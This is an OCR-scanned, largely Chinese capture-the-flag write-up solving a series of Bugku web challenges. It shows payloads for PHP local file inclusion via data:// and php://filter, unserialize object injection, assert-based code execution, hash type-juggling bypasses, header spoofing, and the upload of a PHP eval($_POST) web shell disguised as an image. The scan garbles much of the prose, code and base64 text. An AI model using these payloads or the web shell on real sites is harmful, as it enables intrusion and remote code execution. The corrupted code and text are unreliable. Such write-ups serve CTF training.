rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtre

filename ybase644ifid, Htiiindex.phpCff:, 1HZAH1TEMIRE], g5 BIA S Eindex. php £

import requests

a=50

for i in range(a):
url="http://123.206.87.240:8002/webll/index.php?line="+str(i)+"&filename=aW5kzXgucGhw"
s=requests.get(url)
print (s.text)

Result



<?php

error_reporting(®);

$file=base64_decode(isset($_GET['filename'])?$ _GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=="") header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(

'9' =>'keys.txt',

'1' =>"'index.php',

)5

if(isset($_COOKIE[ ‘margin']) && $_COOKIE[ ‘'margin’']=="'margin'){

$file_list[2]="keys.php"';

if(in_array($file, $file_list)){
$fa = file($file);

echo $fa[$line];

?>

AR o ] R 7 A
1. cookie: $ COOKIE['margin]=="margin’'

2. filename=a2V5cySwaHA=

@ 123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA= eon [ | f:?
HICT 0 Bt Cookie Editor - Create a Cookie

Name

‘ margin

Value

margin‘




A EE I flag

i (@ view-source:http://123.206.87.240:8002/web11/index.php?line=&filename =a2V5cy5waHA=

<?php $key="KEY{key keys}’ ; ?>

get flag:

<?php $key="KEY{key_keys}'; ?>

24. never give up
Mt x eregi () 4 {EACE LY base64ZEM Hurl ZAHY
Topic Link xhttp://123.206.87.240:8006/test/hello. php

never give up
100

http://123.206.87.240:8006/test/hello.php

Y Frsmaka

By AV EA LB PRSI Clp. htmlNe JCURZHM] http://123. 206. 87. 240:8006/ test/1p. html = & HEfilfh] —
eI = PRI SLIE D s = BRI 1p. htm] 2 YRR


http://123.206.87.240:8006/test/hello.php

<HTML>

<HEAD>

{SCRIPT LANGUAGE="Javascript”>
<=

var Words ="%3Cscript%3Ewindow. location. href%3D%27http%3A//www. bugku. com%27%3B%3C/script%3E%20%0A%3C%21——
JTTyJTNCaWYIMjgIMEIMREROVUJTVCJTI3aWQIM jc INUQIM jk IMEEINOTIMEEIMD10ZWFKZXT 1M jg 1M jdMb2NhdG1vbiUzQSUyMGh1bGxvLnBocCUzRmlk JTN
EMSUyNyUy0SUzQ1iUwQSUwOWV4aXQIMjgIMjkIMOTIMEEINOQIMEEIM jRpZCUZRCUyNFOHRVQINUI IM jdpZCUyNyU1RCUZzQ1UwQSUyNGEIMOQIM jREROVUJTVC] T
13YSUyNyU1RCUzQ1UwQSUyNGIIMOQIMjRfROVUJTVCJT13YiUyNyU1RCUzQ1iUwQW1m]JT14c3RyaXBveyUyOCUyNGEIMKMIM jcuJTI3JTI5JTI5JTBBJTdCJTBB]
TA5ZWNobyUyMCUyN25v JTIwbm8 IM jBubyUyMG5v JTIwbm8 1M jBubyUyMGHv JTI3 JTNCJTBBJTAS5cmVOdX JuJTIwJTNCJTBBJTAEJTBBJTI0ZGFOYSUyMCUZRCUy
MEBmaWx1X2d1dF9 jb250ZW50cyUyOCUyNGEIMKMIM jdy JTTI3JTI5JTNCJTBBaWY 1M jgIMjRkYXRh JTNE JTNE JTTyYnVna3UIMjBpcyUyMGEIM jBuaWN1 JTIwcGx
hdGVmb3JtJTIxJTIyJTIwYW5k JTIwJTI0aWQIMOQIMOQwJTIwYW5k JTIwc3RybGVuJTI4JTI0Y1UyOSUZRTUIM jBhbmQ1MjB1cmVnaSUyOCUyM jExMSUyMi5zdW
JzdHTIMjgIMjRi JTJDMCUyQzEIM jk IMKMIMjIXMTEOJTTy JTI5JTIwYW5k JTIwe3Vic3Ry JTI4JTI0Y1UyQzAIMkMx JTT5]T1x JTNENCUyOSUWQSU3Q1 UwQSUWO
XJ1cXVpemUIMjgIMjJmNGwyYTNnLnR4dCUyMiUy0SUzQ1UwQSU3RCUWQWV sc2UIMEEINOT IMEEIMD1wem1udCUyMCUyMm5 1dmVy JTIwbmV2ZXT1MjBuZXZ1ciUy
MGdpdmU1M jB1cCUyMCUyMSUYMSUyMSUyMiUzQiUwQSUSRCUWQSUWQSUwQSUZR1UzRQ%3D%3D——%3E”

function OutWord ()

{

var NewWords;

NewWords = unescape (Words) ;

document. write (NewWords) ;

}

OutWord () ;

/==

</SCRIPT>

</HEAD>

<BODY>

</BODY>

</HTML>

sfWor ds R F fifk i

ur Lk

{script>window. location. href="http://www. bugku. com’ ;<{/script>

=
JTIyJINCaWYIMjgIMEIMjRfROVUJTVC]JTI3aWQIMjc INUQIM jk IMEEINOTIMEEIMD10ZWFkZXT1Mjg1MjdMb2NhdG1vbiUzQSUyMGh1bGxvLnBocCUzRmlk JTN
EMSUyNyUyOSUzQiUwQSUwOWV4aXQIMjgIMjk IMOT IMEEINOQIMEEIM jRpZCUZRCUyNFOHRVQINUT IM jdpZCUyNyU1RCUzQi UwQSUyNGEIMOQIM jRfROVUJTVC]T
13YSUyNyU1RCUzQ1iUwQSUyNGI IMOQIMjRfROVUJTVC]JTI3YiUyNyUIRCUzQ1iUwQW1m]JTI4c3RyaXBveyUyOCUyNGEIMKMIM jcuJTI3JTI5JTI5JTBBJTdCJTBBJ
TASZWNobyUyMCUyN25v JT Iwbm8 1M jBubyUyMG5v JTIwbm8 1M jBubyUyMG5v JTI3 JTNCJTBBJTAScmVOdX JuJTIw]JTNCJTBBJTAE JTBBJTI0ZGFOYSUyMCUZRCUy
MEBmaWx1X2d1dF9 jb250ZW50cyUyOCUyNGEIMKMIM jdy JTI3JTI5JTNCJTBBaWY 1M jgIMjRkYXRhJTNE JTNEJTIyYnVna3UIMjBpcyUyMGEIM jBuaWN1 JTIweGx
hdGVmb3Jt JTIxJTIy JTIwYW5k JTIwJTI0aWQIMOQIMOQw JTIwYW5k JT Iwc3RybGVuJTI4JTI0YiUyOSUZRTUIM jBhbmQ1MjB1cmVnaSUyOCUyMjExMSUyMi5zdW
JzdHTIMjgIMjR1JT JDMCUyQzEIM jk IMKMIM jIXMTEOJTIyJTI5JTIwYW5k JTIwec3Vic3RyJTI4JTI0Y1iUyQzAIMkMx JTI5JTIx JTNENCUyOSUwQSU3Q1UwQSUwO
XJ1cXVpemUIMjgIMj JmNGwyYTNnLnR4dCUyMiUyOSUzQ1 UwQSU3RCUWQWV sc2UIMEEINOT IMEEIMD 1wem1udCUyMCUyMm5 1dmVy JTTwbmV2ZXTIMjBuZXZ1ciUy
MGdpdmU1IMjB1cCUyMCUyMSUyMSUyMSUyMiUzQ1UwQSU3RCUWQSUwQSUwQSUzR1UzRQ==——>

baseb4 ki



7Lif (1§ GET[ id' 1)

{
header ( Location: hello. php?id=1") ;
exit();

}

$id=$ GET["id’];

$a=$ GET[ a’J;

$b=$ GET['b’ ];

if (stripos($a,’.”))

{
echo “no no no no no no no’ ;

return ;
}
$data = @file get contents($a,’r’);
if($data=="bugku is a nice plateform!” and $id==0 and strlen($b)>5 and eregi("111”. substr($b, 0, 1), "1114”) and
substr (§b, 0, 1) !=4)
{
require ("f412a3g. txt”) ;

}

else

{

print “never never never give up !!!”;

>

B E L2 FFE SRR x 1. it (IS _GETD id” D ATAEAZFERLSid==0  //15CHEN1L PR (I HE (A4 B1] B php o FF 2 4%
i laaa ==> 0 & aaa==0 ==> ture

I3 373333332 $data=="bugku is a nice plateform!” //BlAphpfhHLilX s fii

I3 I3 33333333, strlen($b)>5 and eregi (“1117. substr($b, 0, 1), “"1114”) and
substr($b,0,1)!=4  //B|Feregi () TIHGOOEL #4244 1E $b=%00999999999

Wil payload x

http://123. 206. 87. 240:8006/test/hello. php?id=aaaka=data://, bugku%201is%20a%20nice%20plateform!&b=%00999999

get flag:

flag{tHis iS THe fLaG}

25. welcome to bugkuctf

EH1 x php L JEATIE 7 v2 (LA T 1T
Topic Link xhttp://123.206. 87.240:8006/testl/

welcome to bugkuctf
100

http://123.206.87.240:8006/test1/
e pupil


http://123.206.87.240:8006/test1/

O JE VEA A x
you are not the number of bugku !

==

$user = $ GET["txt”];
$file = § GET["file”];
$pass = $ GET[”password”];

if (isset ($user)&& (file get contents($user,’ v’ )==="welcome to the bugkuctf”)) {
echo “hello admin!<br>”;
include ($file); //hint. php

Jelse

echo “you are not admin

”
(N

}

-
AR E L 2 FFE B0 7 AT AT x 1. user i sk 7.”welcome to the bugkuctf”
MRIE484E Neinclude ($file);  //hint.php Ne #E#|tEpayload

payloadl x

http://123. 206. 87. 240:8006/test1/?txt=data://, welcome%20to%20the%20bugkuctf&file=php://filter/convert. base64—

encode/resource=hint. php

EZhint. php=AE x

PD9waHAgTAOKTICANCmNSYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibG1 jTCRmaWx10yAgDQogICAgcHVibG1 jIGZ1bmNOaWQuIF9fdG9zdHJpbmcoKXs
gTAOKICAgICAgICBpZihpe3N1dCgkdGhpey0+ZmlsZSkpeyAgDQogICAgICAgICAgICB1Y2hvIGZpbGVEZ2V0X2NvbnR1bnRzKCROaG1 zLThmaWx 1KTsgDQoJCQ
11Y2hvICI8YnI+I jsNCgk JemVOdX JulCgiZ29vZCIpOwOKICAgICAgICBIICANCiAgICB9ICANCnOgIAOKPz4gIA==

S 2E Z il e base64 LU EIfik 'S = 8 Zhint. php e (EHEAL
<{?php

class Flag{//flag. php
public $file;
public function  tostring() {
if (isset ($this—>file)) {
echo file get contents($this—>file);
echo "<br>”:

return (“good”) ;

}

i

payload2 x

http://123. 206. 87. 240:8006/test1/?txt=data://, welcome%20to%20the%20bugkuctf&file=php://filter/convert. base64-

encode/resource=index. php

% index. php /T



PD9waHAgIAOK JHR4dCA9ICRfROVUWy JOeHQiXTsgIAOK JGZpbGUgPSAkX0dFVEsiZmlsZS JdOyAgDQokcGFze3dvemQgPSAkX0dFVEsicGFze3dvemQiXTsgIAO
KICANCm1mKG1zc2VOKCROeHQpJiYoZmlsZVInZXRfY29udGVudHMo JHR4dCwnceicpPT09Ind1bGNvbWUgdG8gdGh11GJ 122t 1Y3RmIikpeyAgDQogICAgZWNoby
AiaGVsbG8gZnJpZWhkITxic j4i0yAgDQoglCAgaWYocHJ1Z19tYXR jaCgiL2ZsYWevIiwkZmlsZSkpeyANCgk JZWNobyAi5LiN6109546w5Zyo5bCx57uZ5L2g7
mxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIAOKICAgIH11bHN1eyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgTAOKICAgICAgICAkcGFzc3dvemQgPSB1
bnN1emlhbG16ZSgkceGFze3dvemQpOyAgDQogICAgICAgIGV jaG8g JHBhe3N3b3 JkOyAgDQogICAgfSAgDAP9ZWxzZXsgTAOKICAgIGV jaG8gInlvdSBhemUgbm9
0THRoZSBudW1iZXTgh2YgYnVna3UgTSAi0yAgDQp9ITCANCiAgDQo/PiAgDQogTAOKPCEtLSAgDQokdXN1ciA9TCRFROVUWy JOeHQi XTsgTAOK JGZpbGUgPSAKX0
dFVFsiZmlsZSJdOyAgDQokcGFzcyA9TICREROVUWy JwYXNzd29yZCJdOyAgDQog IAOKaWYoaXNzZXQo JHVzZX1pJiYoZmlsZVInZXRfY29udGVudHMo JHVZZXTs J
3InKT09PSJ3ZWx jb211IHRvIHR0ZSBidWdrdWNOZiIpKXsgIAOKICAgIGYV jaG8gImh1bGxvIGFkbWlulTxic j410yAgDQogICAgaWs jbHVkZSgkZml sZSk71C8v
aGludChwaHAgTAOKfWVsc2V7ICANCiAgICB1Y2hvICJ5b3UgYXJ11G5vdCBhZG1pbiAhICI7ICANCnOgIAOKICOtPiAg

1352 it base6 4L BUE Bk 8 = 38 % index. php s (EHER

il

<{?php

$txt = § GET["txt”];

$file = $ GET["file”];
$password = $ GET[”password”];

if(isset ($txt)&& (file get contents($txt, v’ )==="welcome to the bugkuctf”)) {
echo “hello friend!<br>”;
if (preg match(”/flag/”, $file)) {
echo "L HEIICIE S £ 1aghl”
exit();
telse{
include ($file) ;
$password = unserialize (§password) ;
echo $password;
}
Jelse{

echo “you are not the number of bugku ! ”:

i

<1

$user = § GET["txt”];
$file = $ GET["file”];
$pass = $§ GET[”password”];

if (isset ($user)&& (file get contents(§user,’ v’ )==="welcome to the bugkuctf”)) {
echo “hello admin!<br>”;
include ($§file) ; //hint. php

Jelse

echo “you are not admin

) 7.

}
—>

JUIRKAEBCE S x 1. £11effii & i flagZe 28 AL

ITITTTT 2. userfRMIMCHIE T "welcome to the bugkuctf”
333333 3. password MIITANE el i H) B 12 2228 AL
php S JEEAJ L T2 x

w7 R IR ARAR AR 2 58 A% AU SR T A Sz TIB __toString O



HI| Z4 php 52 JEC A7) [, Vil v4 18 2 M ) ZEpay 1 oad

http://123. 206. 87. 240:8006/test1/?txt=data://, welcome%20t0%20the%20bugkuctf&file=hint. php&password=0:4:%22F1agh22:1:
{s:4:%22f11e%22;s:8:%22f1ag. php%22;}

ik S0

hello friend!<br> <?php
//flag{php is the best language} 1
2><br>good

1

$user = $ GET["txt”];
$file = § _GET["file”];
$pass = $ GET[”password”];

if (isset ($user)&& (file get contents($user,’ v’ )==="welcome to the bugkuctf”)) {
echo “hello admin!<br>”;
include ($file); //hint. php

Jelse

echo “you are not admin

7.

}
>

get flag:

flag{php is the best language}

26. H—HA)iE

% A
Topic Link: http://123.206.31.85:49162/

it — 8 %
100

http://123.206.87.240:8010/

FLERE-NAH—gE

<?php $poc="a#s#s#e#r#t", $poc_l=explode("#"$poc);
$poc_2=%poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']) 2>

Flag Submit

A


http://123.206.31.85:49162/

<?php

$poc = "a#ts#ste#r#t";

$poc_1 = explode("#", $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])

?>

RAGE i, PSS T . assert() AT 7 His
payload1: iEHC4 T H & T # S

http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))

RIAFAERFIR AT«
PYiln: http://123.206.87.240:8010/f149.txt 132 2flag(s &

get flag:

BUGKU{bugku_web_0089801_a}

27. 7457 BN ?

% pi: IENULAC
Topic Link: http://123.206.87.240:8002/web10/

FE? BN ?
100

FH? ED?

http://123.206.87.240:8002/web 10/

Flag Submit

Pt

<?php
highlight file('2.php');
$key= ' KEY{********************************} ' ;
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]1]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);

?>

E 0 73 #r


http://123.206.87.240:8002/web10/

key": FiIEAX TR H 7 key“ HALILAL
" UCRCERN\N” Z SRR FT A 4T . ILACELIE\n>7E N ERT 45, BEAERC[\s\S ] Hitak
* DLECHTTH A TR A NE R Z K. Flin, zo*fElLAL“z” L K “zo0”. *5EfiT{e,}
\/"s ARER”
[a-z]: RERa-z P IMERE—DTFAF
[[:punct:]]: DURCIHA— T4 T"#$%&" ()*+,-./15<=>2@[\]"_"{ |}~
/i BEEKNG
{4-7}: {n,m},mAInB ydE G448, Hrbn<=m. HADILHNR H i % ILECmiX

/" E PR MR S MECEE . kMRS SRR S B, N0 TERA 0. \\n LR
A IR NPT\ (IR

it payload

http://123.206.87.240:8002/web10/?id=key999key9999key: /9/999keyy”

:

® 123.206.87.240:8002/web10/?id=key999key999%key:/9; 150%

<?php
highlight file(’ 2. php’):
$key=" KEY {s#ekrsokpsskiookersiokickieokokokiokooookok ) |
$IM= preg match(”/key. xkey. {4, T} kev:\/. \/ (. *key) [a—z] [[:punct:]1]1/i”, trim($ GET["id”]), $match);
if( $IM ) {
die(Ckey is: ’.S$key);:
}

?> key is: KEY{0xOSIOPh550afc}

get flag:

key is: KEY{@x@SIOPh55@afc}

28. B % (SKCTF)

EHt xMD5 LB L
Topic Link xhttp://123.206.31.85:49162/

Al % ZA(SKCTF)
100

http://123.206.31.85:49162/flag#s 2. SKCTFHooo000000000000000


http://123.206.31.85:49162/

HFT, PEBFZAEAERE, RALE, AR T.
ATFIRR, RARLGFR TN L. “A£52 7
BHETH, BUHORF IR R LR, EAT? AFRAFR? 7
“EL, AFLTRIKEE TD? " BELALAN, &% 40 LKA
CHRAFEA. . R, MR R,
A ER ST T 54, AR RAN S AARE TR, BF Aok

CERBVRMAET A, BEREEIAN!D T

CGRRRAFRT 2 o 0 0 6 0 0 o ”
PHPZ # 5} bR AFhyia =
Iy AR 0
<html>
<head>
<titled</titled>
{style type="text/css”>
.link {
text—decoration: none;
color: #000:
}

. link:hover {
text—decoration: none;
color: #000:

}

{/style>
</head>
<body>
{div align="center”>
<> T = ALETHIEM BRI - RN B %= L HY
<p>EETIBTT = BEPEEI AL TIEAMERE x CIEHE - Ne
<p>ERAHPPEREE = (It FE K AP B AT TIER BRI TE B CHEF - - M Z BRI - No
<p>CHEF = WL RN 3 - Nofg R R Y = B 59~ pas risamnk 1L 11
<p> CIRERIIINIR =F. . . Nl = JEZ M7 F<a class="1ink” href="code. txt” target="_blank” > /a>H
<p>LAFAIHEIE A ISR N 72 — W)= M RIGERAS T 2 2 L fass 2E = M7 MR 5 AmF. ... ..
<p>HF B4
o CAUMIERH AN T = FERIET: (N
<p> CIEVH ARG HIL A 4 4 4 o 4 4 No
<h2>PHPHE AR HA 542 A WERH </h2>
</div>
</body>
</html>

HRES AL I B4 = I phpf R



<{?php
if(isset($_GET[v1’]) && isset($_GET[ v2'1) && isset($_GET[ v3 1)) {
$vl = $§ GET[ vl ];
$v2 = § GET[ v2' 1;
$v3 = $§ GET[v3 I;
if($vl 1= $v2 & md5($v1) == md5(§v2)) {
if (Istremp($v3, $flag)) {
echo $flag;

Vo

(EBCE AT P E WA ENAE x 1. if(isset($ GET[ v1’]) && isset($ GET[ v2']) &&
isset($ GET[’v3’])) ==Y TRUE

T T T T T T T T T T T T T T2 if(Gvl 1= $v2 && md5$vl) == md5(§v2)) ==/ TRUE

I BMDSHE IR 56 AL L s tremp O T BE e & A BS Bl 2F B 1 iiilipay 1 oad

2v1=QNKCDZ0&v2=51885207154a&v3[1=11

Bl FMD5 Y s tremp () 7] BCE e & S B B2 e farfiidipay 1 oad
v1[]=13&v2[]=12&v3[]=11

CHREBERBAATH A, BEKFEIALT

CIRILAFRE 2T o 6 6 6 6 6 o ”
PHP A& # % F miFayiE =

SKCTF {Php_1s_tH3_B3St_L4NgUag3}

get flag:

SKCTF {Php 1s tH3 B3St L4NgUag3}

29. loginl (SKCTF)

W x i HLEE RS SQLE ]
Topic Link xhttp://123.206.31.85:49163/


http://123.206.31.85:49163/

Challenge 1806 Solves

login1(SKCTF)

http://123.206.31.85:49163/
flag#s2.: SKCTFDoo00oe000aeooonad
hint:SQL#) &t &
Flag Submit

REPEE 7 3 7 ol g B Y I 23 o 1 i FR R SR 16 R AL

Wz =1
HE x
username: “123”

password: “aA123456”

ELFE x
SKCTFER RS
R
FEEHERITEEfag? |
AP
55
[iatns
EEKS A A2

MRS L FEWEAE and FELHEAE SQLA: SR )
Miipayload x

P x

//username 8§ EAEMLH K TuesrnameZ BRI VER M CEEEMURE 597 12, SR RCARTI S AR RS = 2ikPkE

(&5

username: ~admin

password: “aA123456”

A x

/B EGE ) \ WA T g e Be “ admin

uniqueZi[E#) = “adnin”="adnin+3E " HEZ % EadniniS L #)

” .
username: ~admin

password: “aA123456”

O ”

7 Jk IKlusernameZ 5t it F 2



SKCTFERESR

HAPE:

admin

2

Uigfss

© SKCTFEEEL.

SKCTFEIRESR

SKCTF{4Dm1n_HaV3_GreAt_pOw3R}

APE:

Llioem

g,

get flag:

SKCTF {4Dm1n_HaV3_GreAt_pOw3R}

30. {fFmES Ak

EHt x HTTPHE-]
Topic Link xhttp://123.206.87.240:9009/from. php

T
100

http://123.206.87.240:9009/from.php
are you from google?

MRS 0B 454D = MIHIHTTPHE S = WA Refererz7% x Referer: https://www. google. com

EERE U]

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /from php HTTP/1.1 3 HTTP/1.1 200 OK

Host: 123. 206. 87. 240:9009| [ Server: nginx

Referer: https://www. google. com Date: Sat, 16 Feb 2019 14:28:15 GNT
User-Agent: Nozilla/3.0 (Tindows NT 10.0; Winf4; x64; rv:61.0) Gecko/20100101 Content-Type: text/html
Firefox/61.0 Connection: keep-alive
Accept: text/html, application/xhtml+xml, application/zml;q=0.9,*/*; q=0. 8 Keep-Alive: timeout=60
Accept-Language: zh-CN, zh:q=0. 8, zh-TV:q=0. 7, zh-HK: g=0. 5, en-US; q=0. 3, en: q=0. 2 Content-Length: 21
Accept-Encoding: gzip, deflate

Coolie: PHPSESSID=briiT7lej3Ingddrbladnmlkad811puf3 flag (bug-ku_ai_admin}
Comnection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0



http://123.206.87.240:9009/from.php

get flag:

flag{bug—ku ai admin}

31. md5 collision(NUPT_CTF)

P phpﬁ'ﬁ%ﬂ
Topic Link: http://123.206.87.240:9009/md5.php

mds collision(NUPT_CTF)
100

http://123.206.87.240:9009/md5.php

Flag Submit

PSR UG @S D009/ masHiD]

N

':\ ' ‘ O] 123.206.87.240:9009/md5.php

please input a

R~ e NS Ha, (B2 Bonfalse, A H W[ JENIMDSHER, 21{f4itpayload

(PERULE P E0D0UD Mt

] ‘ @® 123.206.87.240:9009/md5.php?a=s878926199%a

flag{md5 collision is_easy}

MD5#ili4 471 %


http://123.206.87.240:9009/md5.php

QNKCDZO
0e830400451993494058024219903391

$878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

$214587387a
0e848240448830537924465865611904

$214587387a
0e848240448830537924465865611904

$878926199a
0e545993274517709034328855841020

$1091221200a
0e940624217856561557816327384675

$1885207154a
0e509367213418206700842008763514

get flag:

flag{md5_collision_is_easy}

32. RERMNEZD T

E 4 x HTTPHEY)
Topic Link xhttp://123.206. 87. 240:8002/1ocalhost/

AL P AR 2k
100

http://123.206.87.240:8002/localhost/
A A7 9]

MRIZHEARAT- AN ZS 10 ] = ICHTTPHE A S #1525 X-Forwarded-For: 127.0.0.1 2% Client-Ip: 127.0.0.1

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
GET /localhost/ HITP/1.1 -‘ HITP/1.1 200 OK
Host: 123.206. 87. 240:8002 Server: nginx
User-Agent: Nozilla/5.0 (Windows NT 10.0; Winf4; x64; rv:61.0) Gecko/20100101 Date: Sat, 16 Feb 2019 15:55:33 GHT
Firefox/61.0 Content-Type: text/html; charset=utf-8
Accept: text/html, application/zhtml+xml, application/zml;q=0. 9, #/* q=0.8 Comnection: keep-alive
Accept-Language: zh-CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK, q=0. 5, en-US; q=0. 3, en; q=0. 2 Keep-Alive: timeout=60
Accept-Encoding: gzip, deflate Content-Length: 20
Cookie: PHPSESSID=brii7lej3lngddrbkainmllka96l lpuf3
Comnection: keep-alive flag {loc-al-h-o-st1}
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
K-Forwarded-For: 127.0.0.1



http://123.206.87.240:8002/localhost/

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /localhost/ HTTP/1.1 4 HITP/1.1 200 OK

Host: 123.206. 87. 240:3002 M Server: nginx

User-Agent: Nozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Date: Sat, 16 Feb 2019 16:00:06 GNT
Firefox/61.0 Content-Type: text/html: charset=utf-8
Accept: text/html, application/shtml+sml, application/x=ml: q=0.9,*/*: q=0.8 Connection: keep-alive
Accept-Language: zh-CHN, zh:q=0. 8, zh-TW: q=0. 7, zh-HK: q=0. 5, en-US; q=0. 3, en; q=0. 2 Keep-Alive: timeout=60
Accept-Encoding: gzip, deflate Content-Length: 20

Cookie: PHPSESSID=briiTlej3lngddrflkainmlkad6l 1pufl

Connection: keep-alive flag {loc-al-h-o-st1)
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

[lient-Ip: 127.0.0.1

get flag:

flag{loc—al-h-o-st1}

33. MBIt

¥4 x AL E L % shal ()
Topic Link xhttp://123.206. 87. 240:8002/web7/

& A o2t
110

S ]

http://123.206.87.240:8002 /web /.

{FH x
<{?php
highlight file( flag.php’);
$ GET[ id’] = urldecode($§ GET[ id 1) ;
$flag = flag {XXXXXXXXXXXXXXXXXX} ;
if (isset($ GET[ uname’]) and isset(§ POST[ passwd ])) {
if ($ GET[ uname’ ] == $ POST[ passwd ])
print 'passwd can not be uname.’ ;
else if (shal($ GET[ uname’]) === shal($ POST[ passwd’ ])&($ GET[  id’ ]=="margin’))
die( Flag: . $flag);

else

print ' sorry!’ ;

i

A EITET R x 1. $§ GET[ uname’ ] !'= $ POST[ passwd’ ]
333333332 shal($ GET[ uname’ ]) === shal ($ POST[ passwd ])
I3 T 33333. $ GETL id ]==margin’)

B B shal () % A B B FIE L iilEpay 1 oad

/ /B BBt 2 ik


http://123.206.87.240:8002/web7/

http://123. 206. 87. 240:8002/web7/?uname [ ]=999&id=margin

POST x passwd[]=6666

get flag:

Flag: flag{HACK 45hhs 213sDD}

34. web8
EH x phpfii BLilX

Topic Link xhttp://123. 206. 87. 240:8002/web8/

web8
110

>xt? 777

http://123.206.87.240:8002/web8/
=R Y S
2 R ML

<{?php

extract (§ GET);

if (lempty ($ac))

{

$f = trim(file get contents($fn));
if ($ac === $f)

{

echo “<p>This is flag:” .” $flag</p>”";
1

else

{

echo "<p>sorry!</p>”;

1

}

?>

ARBCE AL 32 PRE FRRUR A FAAE x 1. acT B\
T3 33373 37333332 $ac === §$f
B #phpfii .iX x php: //input  #iilipayload

http://123. 206. 87. 240:8002/web8/?ac=123&fn=php: //input

POST x 123


http://123.206.87.240:8002/web8/

© Hackbar v X

evcapn] i’
i‘ Load I ﬂ §E|it I Rui
http://123. 206. 87. 240:8002/web8/?ac=123&fn=php:
//input

Enable Post data
123

[ Enable Referer

get flag:

This is flag: flag{3cfb7a90fc0Ode31}

35. 4k
E X IS IE R

<{?php

extract ($_GET) :
if  (lempty($ac))
{

$f = trim(file_get_contents($fn)):
if ($ac == $f)

echo “<p>This is flag:” .~ $flag</p>”;

else

4 {

echo “<p>sorry!</p>”;

}
>

| This is flag: flag{3cfb7a90fcOde31}

Topic Link xhttp://123. 206. 87. 240:8002/web13/

RN
130

#Ab: http:/123.206.87.240:8002/web13/

#2.7% % sadmin

B 7 4 ) web i HE R 41 2 T A 4R 4

HEEE: SEE. FHEEE: o/
bl ikt HTTEASIGE

i http: //123,206. 67, 240:8002/web13/robots. txt 200

2 http: //123, 206, 67, 240:8002/web13/index. php 200

1H[E] http://123. 206. 87. 240:8002/web13/robots. txt kAL #1H
B http://123.206.87.240:8002/web13/resusl. php

HRABIRAL BE B admin IR GEx st fil \admin= #5BAE ] flag


http://123.206.87.240:8002/web13/

f_;(_j S5 X @ O 123.20687.2408002/web13/resusl.php?x=admin g o WYY
1w B dlasess B SR

get flag:

flag(ctf 0098 lkji-s)

36. K getshell
F Rl AR

Topic Link: http://123.206.87.240:8002/web9/

Kgetshell
150

Fgetshell

http://123.206.87.240:8002/web%/

Flag Submit

IR PR T B L fephpD, Sib il & 2 2 — F LA &4
1. XfF4filename=*.php5
2. X/ Content-Type: image/jpeg

3. H a2k Content-Type: multipart/form-datA #k /N5 525


http://123.206.87.240:8002/web9/

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLIRender]

POST /weh9/index. php HTTP/1.1

Host: 123. 206. 87. 240:3002

User-Agent: Nozilla/5. 0 (Windows NT 10.0; Vinf4; z64; rv:66.0) Gecko/20100101
Firefox/66.0

Accept: text/html, application/xhtml+xml, application/mml;q=0.9,*/*;q=0. 8
Accept-Language: zh-CN, zh; q=0. 8, zh-TW;q=0. 7, zh-HEK g=0. 5, en-US; g=0. 3, en; g=0. 2
Accept-Encoding: gzip, deflate

Referer: http://123. 206. 87. 240:8002/web%/index. php

Funtent—Type: multipart/form-dat;

boundary= 293582696224464

Content-Length: 325

Connection: keep-alive

Upgrade-Insecure-Requests: 1

293582696224464

Content-Disposition: form-data; name="file”: |filename=”shell.php5”
#ontent*T}-‘pe: image,f'jpegl

<9php eval ($_POST["ppp”1); 7>

293582696224464
Content-Disposition: form-data; name="submit”

Submi t

293582696224464—-

get flag;

KEY{bb35dc123820e}

37. INSERT INTOZE/\
EH x HTTPZFAREE J\ 4 WAR 2% i

Topic Link xhttp://123. 206. 87. 240:8002/web15/

INSERT INTOZE N
150

4k http://123.206.87.240:8002/web15/

flagds 20: flaghoooooeooooad
ke B AMPython=e

error_reporting(0);

function getlp(){

$ip=";

if(isset($_SERVER['HTTP_X FORWARDED_FOR')){
$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
Jelsel

$ip = $_SERVER['REMOTE_ADDR'];

}

$ip_arr = explode(", $ip);

return $ip_arr[0];

A x

q

HTTP/1.1 200 OK

Server: nginz

Date: Non, 20 May 2019 10:00:47 GUT
Content-Type: text/html
Commection: keep-alive

Keep-Alive: timeout=60
Content-Length: 268

<html >

<hody >

<form action="index. php” method="post” enctype="multipart/form-data”>
Nv name is margin, give me a image file not a php<br>

<br>

{input type="file” name="file” id="file” />

<input type="submit” name="submit” value="Submit” />

<fforms

| KEY {bb35dc123820e}



http://123.206.87.240:8002/web15/

error reporting(0);

function getIp() {
$ip = "7
if (isset ($_SERVER[’ HTTP_X FORWARDED FOR’ 1)) {

$ip = $_SERVER[’ HTTP_X_FORWARDED_FOR’ ] ;

Jelse

$ip = $ SERVER[’ REMOTE ADDR’ ];
}

$ip_arr = explode(,”, $ip);

return $ip arr[0];

$host="1localhost”;

nw,

Suser=

”

$pass="";
N

$connect = mysql connect ($host, $user, $pass) or die(“Unable to connect”);
